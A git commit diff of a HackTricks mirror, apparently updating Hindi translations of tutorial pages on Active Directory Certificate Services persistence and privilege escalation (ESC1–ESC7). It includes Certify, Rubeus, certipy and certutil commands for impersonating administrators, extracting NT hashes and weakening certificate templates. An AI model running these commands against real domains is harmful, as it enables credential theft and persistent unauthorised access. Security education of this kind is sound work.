mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
parent
d6bf2f92f1
commit
8f161db515
@ -1,4 +1,4 @@
|
||||
# AD CS खाता स्थिरता
|
||||
# AD CS Account Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,13 +8,13 @@
|
||||
|
||||
एक परिदृश्य में जहां एक प्रमाणपत्र जो डोमेन प्रमाणीकरण की अनुमति देता है, एक उपयोगकर्ता द्वारा अनुरोध किया जा सकता है, एक हमलावर के पास इस प्रमाणपत्र को **अनुरोध** करने और **चोरी** करने का अवसर होता है ताकि नेटवर्क पर **स्थिरता बनाए रखी जा सके**। डिफ़ॉल्ट रूप से, Active Directory में `User` टेम्पलेट ऐसे अनुरोधों की अनुमति देता है, हालांकि इसे कभी-कभी अक्षम किया जा सकता है।
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify) नामक एक उपकरण का उपयोग करके, कोई स्थायी पहुंच सक्षम करने वाले मान्य प्रमाणपत्रों की खोज कर सकता है:
|
||||
एक उपकरण का उपयोग करते हुए जिसका नाम [**Certify**](https://github.com/GhostPack/Certify) है, कोई स्थायी पहुंच सक्षम करने वाले मान्य प्रमाणपत्रों की खोज कर सकता है:
|
||||
```bash
|
||||
Certify.exe find /clientauth
|
||||
```
|
||||
यह उजागर किया गया है कि एक प्रमाणपत्र की शक्ति इस बात में है कि यह **उपयोगकर्ता के रूप में प्रमाणित** कर सकता है, जिस पर यह निर्भर करता है, किसी भी पासवर्ड परिवर्तन की परवाह किए बिना, जब तक कि प्रमाणपत्र **मान्य** है।
|
||||
यह उजागर किया गया है कि एक प्रमाणपत्र की शक्ति इस बात में है कि यह **उपयोगकर्ता के रूप में प्रमाणित** कर सकता है, जिस पर यह निर्भर करता है, किसी भी पासवर्ड परिवर्तन की परवाह किए बिना, जब तक कि प्रमाणपत्र **मान्य** रहता है।
|
||||
|
||||
प्रमाणपत्रों को `certmgr.msc` का उपयोग करके ग्राफिकल इंटरफेस के माध्यम से या `certreq.exe` के साथ कमांड लाइन के माध्यम से अनुरोध किया जा सकता है। **Certify** के साथ, प्रमाणपत्र अनुरोध करने की प्रक्रिया को इस प्रकार सरल बनाया गया है:
|
||||
प्रमाणपत्रों को `certmgr.msc` का उपयोग करके ग्राफिकल इंटरफेस के माध्यम से या `certreq.exe` के साथ कमांड लाइन के माध्यम से अनुरोध किया जा सकता है। **Certify** के साथ, प्रमाणपत्र का अनुरोध करने की प्रक्रिया को इस प्रकार सरल बनाया गया है:
|
||||
```bash
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
|
||||
```
|
||||
@ -22,24 +22,35 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
|
||||
```bash
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
```
|
||||
`.pfx` फ़ाइल को फिर एक लक्षित प्रणाली पर अपलोड किया जा सकता है और उपयोगकर्ता के लिए एक Ticket Granting Ticket (TGT) का अनुरोध करने के लिए [**Rubeus**](https://github.com/GhostPack/Rubeus) नामक एक उपकरण के साथ उपयोग किया जा सकता है, हमलावर की पहुँच को तब तक बढ़ाते हुए जब तक प्रमाणपत्र **मान्य** है (आमतौर पर एक वर्ष):
|
||||
`.pfx` फ़ाइल को फिर एक लक्षित प्रणाली पर अपलोड किया जा सकता है और उपयोगकर्ता के लिए एक Ticket Granting Ticket (TGT) अनुरोध करने के लिए [**Rubeus**](https://github.com/GhostPack/Rubeus) नामक एक उपकरण के साथ उपयोग किया जा सकता है, हमलावर की पहुँच को तब तक बढ़ाते हुए जब तक प्रमाणपत्र **मान्य** है (आमतौर पर एक वर्ष):
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
|
||||
```
|
||||
एक महत्वपूर्ण चेतावनी साझा की गई है कि कैसे यह तकनीक, **THEFT5** अनुभाग में वर्णित एक अन्य विधि के साथ मिलकर, एक हमलावर को **NTLM हैश** को लगातार प्राप्त करने की अनुमति देती है बिना Local Security Authority Subsystem Service (LSASS) के साथ इंटरैक्ट किए, और एक गैर-उन्नत संदर्भ से, दीर्घकालिक क्रेडेंशियल चोरी के लिए एक अधिक छिपा हुआ तरीका प्रदान करती है।
|
||||
एक महत्वपूर्ण चेतावनी साझा की गई है कि कैसे यह तकनीक, **THEFT5** अनुभाग में वर्णित एक अन्य विधि के साथ मिलकर, एक हमलावर को **NTLM हैश** को लगातार प्राप्त करने की अनुमति देती है बिना Local Security Authority Subsystem Service (LSASS) के साथ इंटरैक्ट किए, और एक गैर-उन्नत संदर्भ से, लंबे समय तक क्रेडेंशियल चोरी के लिए एक अधिक छिपा हुआ तरीका प्रदान करती है।
|
||||
|
||||
## **सर्टिफिकेट के साथ मशीन स्थिरता प्राप्त करना - PERSIST2**
|
||||
|
||||
एक अन्य विधि में एक समझौता किए गए सिस्टम के मशीन खाते के लिए एक सर्टिफिकेट के लिए नामांकन करना शामिल है, डिफ़ॉल्ट `Machine` टेम्पलेट का उपयोग करते हुए जो ऐसी क्रियाओं की अनुमति देता है। यदि एक हमलावर किसी सिस्टम पर उन्नत विशेषाधिकार प्राप्त करता है, तो वे **SYSTEM** खाते का उपयोग करके सर्टिफिकेट का अनुरोध कर सकते हैं, जो एक प्रकार की **persistence** प्रदान करता है:
|
||||
एक अन्य विधि में एक समझौता किए गए सिस्टम के मशीन खाते के लिए एक सर्टिफिकेट के लिए नामांकन करना शामिल है, डिफ़ॉल्ट `Machine` टेम्पलेट का उपयोग करते हुए जो ऐसी क्रियाओं की अनुमति देता है। यदि एक हमलावर किसी सिस्टम पर उन्नत विशेषाधिकार प्राप्त करता है, तो वे **SYSTEM** खाते का उपयोग करके सर्टिफिकेट के लिए अनुरोध कर सकते हैं, जो एक प्रकार की **स्थिरता** प्रदान करता है:
|
||||
```bash
|
||||
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
|
||||
```
|
||||
यह पहुँच हमलावर को मशीन खाते के रूप में **Kerberos** पर प्रमाणीकरण करने और मेज़बान पर किसी भी सेवा के लिए Kerberos सेवा टिकट प्राप्त करने के लिए **S4U2Self** का उपयोग करने की अनुमति देती है, जिससे हमलावर को मशीन पर स्थायी पहुँच मिलती है।
|
||||
यह पहुँच हमलावर को मशीन खाते के रूप में **Kerberos** में प्रमाणीकरण करने और मेज़बान पर किसी भी सेवा के लिए Kerberos सेवा टिकट प्राप्त करने के लिए **S4U2Self** का उपयोग करने की अनुमति देती है, जिससे हमलावर को मशीन पर स्थायी पहुँच मिलती है।
|
||||
|
||||
## **प्रमाणपत्र नवीनीकरण के माध्यम से स्थिरता बढ़ाना - PERSIST3**
|
||||
|
||||
अंतिम विधि में प्रमाणपत्र टेम्पलेट्स की **वैधता** और **नवीनीकरण अवधि** का लाभ उठाना शामिल है। एक प्रमाणपत्र को इसकी समाप्ति से पहले **नवीनीकरण** करके, एक हमलावर Active Directory पर प्रमाणीकरण बनाए रख सकता है बिना अतिरिक्त टिकट नामांकन की आवश्यकता के, जो प्रमाणपत्र प्राधिकरण (CA) सर्वर पर निशान छोड़ सकता है।
|
||||
अंतिम विधि में प्रमाणपत्र टेम्पलेट्स की **वैधता** और **नवीनीकरण अवधि** का लाभ उठाना शामिल है। एक प्रमाणपत्र को इसके समाप्ति से पहले **नवीनीकरण** करके, एक हमलावर Active Directory में प्रमाणीकरण बनाए रख सकता है बिना अतिरिक्त टिकट नामांकन की आवश्यकता के, जो प्रमाणपत्र प्राधिकरण (CA) सर्वर पर निशान छोड़ सकता है।
|
||||
|
||||
यह दृष्टिकोण एक **विस्तारित स्थिरता** विधि की अनुमति देता है, CA सर्वर के साथ कम इंटरैक्शन के माध्यम से पहचान के जोखिम को कम करता है और ऐसे आर्टिफैक्ट्स के निर्माण से बचता है जो प्रशासकों को घुसपैठ के बारे में सतर्क कर सकते हैं।
|
||||
### Certify 2.0 के साथ प्रमाणपत्र नवीनीकरण
|
||||
|
||||
**Certify 2.0** के साथ, नवीनीकरण कार्यप्रवाह पूरी तरह से नए `request-renew` कमांड के माध्यम से स्वचालित है। एक पूर्व में जारी किए गए प्रमाणपत्र (जो **base-64 PKCS#12** प्रारूप में है) को हमलावर बिना मूल मालिक के साथ बातचीत किए नवीनीकरण कर सकता है - चुपके, दीर्घकालिक स्थिरता के लिए एकदम सही:
|
||||
```powershell
|
||||
Certify.exe request-renew --ca SERVER\\CA-NAME \
|
||||
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX
|
||||
```
|
||||
यह कमांड एक नया PFX लौटाएगा जो एक और पूर्ण जीवनकाल अवधि के लिए मान्य है, जिससे आपको पहले प्रमाणपत्र के समाप्त या रद्द होने के बाद भी प्रमाणीकरण जारी रखने की अनुमति मिलती है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**यह पदों के उत्थान तकनीक अनुभागों का सारांश है:**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
|
||||
@ -29,7 +28,7 @@
|
||||
|
||||
यह सुविधा कभी-कभी HTTPS या होस्ट प्रमाणपत्रों के तात्कालिक निर्माण का समर्थन करने के लिए उत्पादों या तैनाती सेवाओं द्वारा सक्षम की जाती है, या समझ की कमी के कारण।
|
||||
|
||||
यह नोट किया गया है कि इस विकल्प के साथ प्रमाणपत्र बनाने पर एक चेतावनी उत्पन्न होती है, जो तब नहीं होती जब एक मौजूदा प्रमाणपत्र टेम्पलेट (जैसे `WebServer` टेम्पलेट, जिसमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` सक्षम है) को डुप्लिकेट किया जाता है और फिर प्रमाणीकरण OID शामिल करने के लिए संशोधित किया जाता है।
|
||||
यह नोट किया गया है कि इस विकल्प के साथ एक प्रमाणपत्र बनाने पर एक चेतावनी उत्पन्न होती है, जो तब नहीं होती जब एक मौजूदा प्रमाणपत्र टेम्पलेट (जैसे `WebServer` टेम्पलेट, जिसमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` सक्षम है) को डुप्लिकेट किया जाता है और फिर प्रमाणीकरण OID शामिल करने के लिए संशोधित किया जाता है।
|
||||
|
||||
### Abuse
|
||||
|
||||
@ -66,11 +65,11 @@ AD फॉरेस्ट के कॉन्फ़िगरेशन स्क
|
||||
4. प्रमाणपत्र टेम्पलेट पर एक अत्यधिक अनुमति देने वाला सुरक्षा वर्णनकर्ता निम्न-privileged उपयोगकर्ताओं को प्रमाणपत्र नामांकन अधिकार प्रदान करता है।
|
||||
5. **प्रमाणपत्र टेम्पलेट को Any Purpose EKU या कोई EKU शामिल करने के लिए परिभाषित किया गया है।**
|
||||
|
||||
**Any Purpose EKU** एक हमलावर को **किसी भी उद्देश्य** के लिए प्रमाणपत्र प्राप्त करने की अनुमति देता है, जिसमें क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड साइनिंग, आदि शामिल हैं। इस परिदृश्य का लाभ उठाने के लिए **ESC3 के लिए उपयोग की गई तकनीक** का उपयोग किया जा सकता है।
|
||||
**Any Purpose EKU** एक हमलावर द्वारा **किसी भी उद्देश्य** के लिए प्रमाणपत्र प्राप्त करने की अनुमति देता है, जिसमें क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड साइनिंग, आदि शामिल हैं। इस परिदृश्य का लाभ उठाने के लिए **ESC3 के लिए उपयोग की गई तकनीक** का उपयोग किया जा सकता है।
|
||||
|
||||
**कोई EKUs** वाले प्रमाणपत्र, जो अधीनस्थ CA प्रमाणपत्र के रूप में कार्य करते हैं, को **किसी भी उद्देश्य** के लिए दुरुपयोग किया जा सकता है और **नए प्रमाणपत्रों पर हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है**। इसलिए, एक हमलावर एक अधीनस्थ CA प्रमाणपत्र का उपयोग करके नए प्रमाणपत्रों में मनमाने EKUs या फ़ील्ड निर्दिष्ट कर सकता है।
|
||||
**कोई EKUs** नहीं होने वाले प्रमाणपत्र, जो अधीनस्थ CA प्रमाणपत्र के रूप में कार्य करते हैं, को **किसी भी उद्देश्य** के लिए दुरुपयोग किया जा सकता है और **नए प्रमाणपत्रों पर हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है**। इसलिए, एक हमलावर एक अधीनस्थ CA प्रमाणपत्र का उपयोग करके नए प्रमाणपत्रों में मनमाने EKUs या फ़ील्ड निर्दिष्ट कर सकता है।
|
||||
|
||||
हालांकि, **डोमेन प्रमाणीकरण** के लिए बनाए गए नए प्रमाणपत्र कार्य नहीं करेंगे यदि अधीनस्थ CA **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है, जो डिफ़ॉल्ट सेटिंग है। फिर भी, एक हमलावर **किसी भी EKU** और मनमाने प्रमाणपत्र मानों के साथ **नए प्रमाणपत्र** बना सकता है। इन्हें संभावित रूप से **किसी भी उद्देश्य** (जैसे, कोड साइनिंग, सर्वर प्रमाणीकरण, आदि) के लिए दुरुपयोग किया जा सकता है और नेटवर्क में अन्य अनुप्रयोगों जैसे SAML, AD FS, या IPSec के लिए महत्वपूर्ण प्रभाव हो सकते हैं।
|
||||
हालांकि, **डोमेन प्रमाणीकरण** के लिए बनाए गए नए प्रमाणपत्र कार्य नहीं करेंगे यदि अधीनस्थ CA **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है, जो डिफ़ॉल्ट सेटिंग है। फिर भी, एक हमलावर **किसी भी EKU** और मनमाने प्रमाणपत्र मानों के साथ **नए प्रमाणपत्र** बना सकता है। इन्हें संभावित रूप से **कई उद्देश्यों** (जैसे, कोड साइनिंग, सर्वर प्रमाणीकरण, आदि) के लिए दुरुपयोग किया जा सकता है और नेटवर्क में अन्य अनुप्रयोगों जैसे SAML, AD FS, या IPSec के लिए महत्वपूर्ण प्रभाव हो सकते हैं।
|
||||
|
||||
AD Forest के कॉन्फ़िगरेशन स्कीमा के भीतर इस परिदृश्य से मेल खाने वाले टेम्पलेट्स को सूचीबद्ध करने के लिए, निम्न LDAP क्वेरी चलाई जा सकती है:
|
||||
```
|
||||
@ -84,7 +83,7 @@ AD Forest के कॉन्फ़िगरेशन स्कीमा के
|
||||
|
||||
**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), जिसे Microsoft दस्तावेज़ में **Enrollment Agent** के रूप में जाना जाता है, एक प्रिंसिपल को **दूसरे उपयोगकर्ता** की ओर से **सर्टिफिकेट** के लिए **नामांकित** करने की अनुमति देता है।
|
||||
|
||||
**“enrollment agent”** एक ऐसे **टेम्पलेट** में नामांकित होता है और परिणामस्वरूप **सर्टिफिकेट का उपयोग करके दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षरित** करता है। फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता** है, एक **टेम्पलेट** में नामांकित होता है जो **“की ओर से नामांकित करने की अनुमति देता है”**, और CA **“दूसरे” उपयोगकर्ता** का **सर्टिफिकेट** के साथ प्रतिक्रिया करता है।
|
||||
**“enrollment agent”** एक ऐसे **टेम्पलेट** में नामांकित होता है और परिणामस्वरूप प्राप्त **सर्टिफिकेट का उपयोग दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षरित करने के लिए** करता है। फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता है**, एक **टेम्पलेट** में नामांकित होता है जो **“की ओर से नामांकित करने की अनुमति देता है”**, और CA **“दूसरे” उपयोगकर्ता** के लिए एक **सर्टिफिकेट** के साथ प्रतिक्रिया करता है।
|
||||
|
||||
**Requirements 1:**
|
||||
|
||||
@ -118,9 +117,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
**उपयोगकर्ता** जिन्हें **नामांकन एजेंट प्रमाणपत्र** प्राप्त करने की अनुमति है, उन टेम्पलेट्स में जिनमें नामांकन **एजेंट** नामांकित होने की अनुमति है, और **खाते** जिनके behalf पर नामांकन एजेंट कार्य कर सकता है, को एंटरप्राइज CA द्वारा सीमित किया जा सकता है। यह `certsrc.msc` **स्नैप-इन** को खोलकर, **CA पर राइट-क्लिक** करके, **गुण** पर क्लिक करके, और फिर “Enrollment Agents” टैब पर **नेविगेट** करके प्राप्त किया जाता है।
|
||||
**उपयोगकर्ता** जिन्हें **नामांकन एजेंट प्रमाणपत्र** प्राप्त करने की अनुमति है, उन टेम्पलेट्स में जिनमें नामांकन **एजेंट** नामांकित होने की अनुमति है, और **खाते** जिनके लिए नामांकन एजेंट कार्य कर सकता है, को एंटरप्राइज CA द्वारा सीमित किया जा सकता है। यह `certsrc.msc` **स्नैप-इन** को खोलकर, **CA पर राइट-क्लिक** करके, **गुण** पर क्लिक करके, और फिर “Enrollment Agents” टैब पर **नेविगेट** करके प्राप्त किया जाता है।
|
||||
|
||||
हालांकि, यह नोट किया गया है कि CA के लिए **डिफ़ॉल्ट** सेटिंग “**नामांकन एजेंटों को प्रतिबंधित न करें**” है। जब नामांकन एजेंटों पर प्रतिबंध को प्रशासकों द्वारा सक्षम किया जाता है, तो इसे “Restrict enrollment agents” पर सेट करने से डिफ़ॉल्ट कॉन्फ़िगरेशन अत्यधिक अनुमति देने वाला बना रहता है। यह **सभी** को किसी के रूप में सभी टेम्पलेट्स में नामांकित होने की अनुमति देता है।
|
||||
हालांकि, यह noted किया गया है कि CA के लिए **डिफ़ॉल्ट** सेटिंग “**नामांकन एजेंटों को प्रतिबंधित न करें**” है। जब नामांकन एजेंटों पर प्रतिबंध को प्रशासकों द्वारा सक्षम किया जाता है, तो इसे “Restrict enrollment agents” पर सेट करने पर, डिफ़ॉल्ट कॉन्फ़िगरेशन अत्यधिक अनुमति देने वाला रहता है। यह **Everyone** को सभी टेम्पलेट्स में नामांकित होने की अनुमति देता है।
|
||||
|
||||
## Vulnerable Certificate Template Access Control - ESC4
|
||||
|
||||
@ -128,12 +127,12 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
|
||||
|
||||
**प्रमाणपत्र टेम्पलेट्स** पर **सुरक्षा विवरण** उन **अनुमतियों** को परिभाषित करता है जो विशिष्ट **AD प्रिंसिपल** टेम्पलेट के संबंध में रखते हैं।
|
||||
|
||||
यदि एक **हमलावर** के पास एक **टेम्पलेट** को **बदलने** और **पिछले अनुभागों** में उल्लिखित किसी भी **शोषण योग्य गलत कॉन्फ़िगरेशन** को लागू करने के लिए आवश्यक **अनुमतियाँ** हैं, तो विशेषाधिकार वृद्धि को सक्षम किया जा सकता है।
|
||||
यदि एक **हमलावर** के पास **टेम्पलेट** को **बदलने** और **पिछले अनुभागों** में उल्लिखित किसी भी **शोषण योग्य गलत कॉन्फ़िगरेशन** को लागू करने के लिए आवश्यक **अनुमतियाँ** हैं, तो विशेषाधिकार वृद्धि को सक्षम किया जा सकता है।
|
||||
|
||||
प्रमाणपत्र टेम्पलेट्स पर लागू होने वाली महत्वपूर्ण अनुमतियाँ शामिल हैं:
|
||||
|
||||
- **Owner:** वस्तु पर निहित नियंत्रण प्रदान करता है, किसी भी विशेषता को संशोधित करने की अनुमति देता है।
|
||||
- **FullControl:** वस्तु पर पूर्ण अधिकार सक्षम करता है, जिसमें किसी भी विशेषता को बदलने की क्षमता शामिल है।
|
||||
- **Owner:** वस्तु पर निहित नियंत्रण प्रदान करता है, जिससे किसी भी विशेषता को संशोधित किया जा सकता है।
|
||||
- **FullControl:** वस्तु पर पूर्ण अधिकार प्रदान करता है, जिसमें किसी भी विशेषता को बदलने की क्षमता शामिल है।
|
||||
- **WriteOwner:** हमलावर के नियंत्रण में एक प्रिंसिपल के लिए वस्तु के मालिक को बदलने की अनुमति देता है।
|
||||
- **WriteDacl:** पहुँच नियंत्रण को समायोजित करने की अनुमति देता है, संभावित रूप से हमलावर को FullControl प्रदान करता है।
|
||||
- **WriteProperty:** किसी भी वस्तु की संपत्तियों को संपादित करने की अनुमति देता है।
|
||||
@ -146,11 +145,11 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
|
||||
|
||||
ESC4 तब होता है जब एक उपयोगकर्ता के पास एक प्रमाणपत्र टेम्पलेट पर लिखने के अधिकार होते हैं। इसे उदाहरण के लिए प्रमाणपत्र टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट करने के लिए दुरुपयोग किया जा सकता है ताकि टेम्पलेट ESC1 के लिए संवेदनशील हो जाए।
|
||||
|
||||
जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अधिकार हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` एज है। चूंकि यह तकनीक प्रमाणपत्रों से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ पीड़ित के NT हैश को पुनः प्राप्त करने के लिए Certipy के `shadow auto` कमांड का एक छोटा सा झलक है।
|
||||
जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अधिकार हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` है। चूंकि यह तकनीक प्रमाणपत्रों से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ पीड़ित के NT हैश को पुनः प्राप्त करने के लिए Certipy के `shadow auto` कमांड का एक छोटा सा झलक है।
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** एक कमांड के साथ एक सर्टिफिकेट टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट कर सकता है। **डिफ़ॉल्ट** रूप से, Certipy कॉन्फ़िगरेशन को **ESC1 के लिए संवेदनशील** बनाने के लिए **ओवरराइट** करेगा। हम **`-save-old` पैरामीटर** को पुराने कॉन्फ़िगरेशन को सहेजने के लिए भी निर्दिष्ट कर सकते हैं, जो हमारे हमले के बाद कॉन्फ़िगरेशन को **पुनर्स्थापित** करने के लिए उपयोगी होगा।
|
||||
**Certipy** एक कमांड के साथ एक सर्टिफिकेट टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट कर सकता है। **डिफ़ॉल्ट** रूप से, Certipy कॉन्फ़िगरेशन को **ESC1** के लिए **कमजोर** बनाने के लिए **ओवरराइट** करेगा। हम **`-save-old` पैरामीटर** को पुराने कॉन्फ़िगरेशन को सहेजने के लिए भी निर्दिष्ट कर सकते हैं, जो हमारे हमले के बाद कॉन्फ़िगरेशन को **पुनर्स्थापित** करने के लिए उपयोगी होगा।
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -177,13 +176,13 @@ ACL-आधारित संबंधों का विस्तृत जा
|
||||
|
||||
### Explanation
|
||||
|
||||
[**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में चर्चा किए गए विषय में **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज के प्रभावों पर भी प्रकाश डाला गया है, जैसा कि Microsoft द्वारा वर्णित किया गया है। यह कॉन्फ़िगरेशन, जब एक प्रमाणन प्राधिकरण (CA) पर सक्रिय किया जाता है, तो **किसी भी अनुरोध** के लिए **उपयोगकर्ता-परिभाषित मानों** को **विषय वैकल्पिक नाम** में शामिल करने की अनुमति देता है, जिसमें Active Directory® से निर्मित अनुरोध भी शामिल हैं। परिणामस्वरूप, यह प्रावधान एक **घुसपैठिए** को **किसी भी टेम्पलेट** के माध्यम से नामांकन करने की अनुमति देता है जो डोमेन **प्रमाणीकरण** के लिए सेट किया गया है—विशेष रूप से वे जो **निम्न-विशिष्टता** उपयोगकर्ता नामांकन के लिए खुले हैं, जैसे कि मानक उपयोगकर्ता टेम्पलेट। परिणामस्वरूप, एक प्रमाणपत्र सुरक्षित किया जा सकता है, जिससे घुसपैठिए को डोमेन प्रशासक के रूप में या डोमेन के भीतर **किसी अन्य सक्रिय इकाई** के रूप में प्रमाणीकरण करने की अनुमति मिलती है।
|
||||
[**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में चर्चा किए गए विषय में **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज के प्रभावों पर भी प्रकाश डाला गया है, जैसा कि Microsoft द्वारा वर्णित किया गया है। यह कॉन्फ़िगरेशन, जब एक प्रमाणन प्राधिकरण (CA) पर सक्रिय किया जाता है, तो **किसी भी अनुरोध** के लिए **उपयोगकर्ता-परिभाषित मानों** को **विषय वैकल्पिक नाम** में शामिल करने की अनुमति देता है, जिसमें Active Directory® से निर्मित अनुरोध भी शामिल हैं। परिणामस्वरूप, यह प्रावधान एक **घुसपैठिए** को **किसी भी टेम्पलेट** के माध्यम से नामांकित करने की अनुमति देता है जो डोमेन **प्रमाणीकरण** के लिए सेट किया गया है—विशेष रूप से वे जो **निम्न-विशिष्टता** उपयोगकर्ता नामांकन के लिए खुले हैं, जैसे कि मानक उपयोगकर्ता टेम्पलेट। परिणामस्वरूप, एक प्रमाणपत्र सुरक्षित किया जा सकता है, जिससे घुसपैठिए को डोमेन प्रशासक या **डोमेन के भीतर किसी अन्य सक्रिय इकाई** के रूप में प्रमाणीकरण करने की अनुमति मिलती है।
|
||||
|
||||
**Note**: एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में **वैकल्पिक नामों** को जोड़ने के लिए `-attrib "SAN:"` तर्क के माध्यम से `certreq.exe` में, जो “Name Value Pairs” के रूप में संदर्भित किया जाता है, ESC1 में SANs के शोषण रणनीति से एक **विभाजन** प्रस्तुत करता है। यहाँ, भेद **कैसे खाता जानकारी को संकुचित किया जाता है**—एक प्रमाणपत्र विशेषता के भीतर, न कि एक विस्तार में।
|
||||
**Note**: एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में **वैकल्पिक नामों** को जोड़ने के लिए `-attrib "SAN:"` तर्क के माध्यम से `certreq.exe` में एक **विपरीत** दृष्टिकोण प्रस्तुत करता है (जिसे "नाम मान जोड़े" के रूप में संदर्भित किया जाता है), ESC1 में SANs के शोषण रणनीति से। यहाँ, भेद **कैसे खाता जानकारी को संकुचित किया जाता है**—एक प्रमाणपत्र विशेषता के भीतर, न कि एक विस्तार में।
|
||||
|
||||
### Abuse
|
||||
|
||||
यह सत्यापित करने के लिए कि सेटिंग सक्रिय है या नहीं, संगठन निम्नलिखित कमांड का उपयोग कर सकते हैं `certutil.exe`:
|
||||
यह सत्यापित करने के लिए कि सेटिंग सक्रिय है या नहीं, संगठन निम्नलिखित कमांड का उपयोग `certutil.exe` के साथ कर सकते हैं:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
@ -200,7 +199,7 @@ Certify.exe find
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
इन सेटिंग्स को बदलने के लिए, यह मानते हुए कि किसी के पास **डोमेन प्रशासनिक** अधिकार या समकक्ष हैं, निम्नलिखित कमांड किसी भी कार्यस्थल से निष्पादित किया जा सकता है:
|
||||
इन सेटिंग्स को बदलने के लिए, यह मानते हुए कि किसी के पास **डोमेन प्रशासनिक** अधिकार या समकक्ष हैं, निम्नलिखित कमांड को किसी भी कार्यस्थल से निष्पादित किया जा सकता है:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
@ -218,19 +217,19 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||
|
||||
#### Explanation
|
||||
|
||||
एक प्रमाणपत्र प्राधिकरण के लिए पहुँच नियंत्रण एक सेट अनुमतियों के माध्यम से बनाए रखा जाता है जो CA क्रियाओं को नियंत्रित करता है। इन अनुमतियों को `certsrv.msc` तक पहुँचकर, CA पर राइट-क्लिक करके, गुणों का चयन करके, और फिर सुरक्षा टैब पर जाकर देखा जा सकता है। इसके अतिरिक्त, PSPKI मॉड्यूल का उपयोग करके अनुमतियों को निम्नलिखित कमांड के साथ सूचीबद्ध किया जा सकता है:
|
||||
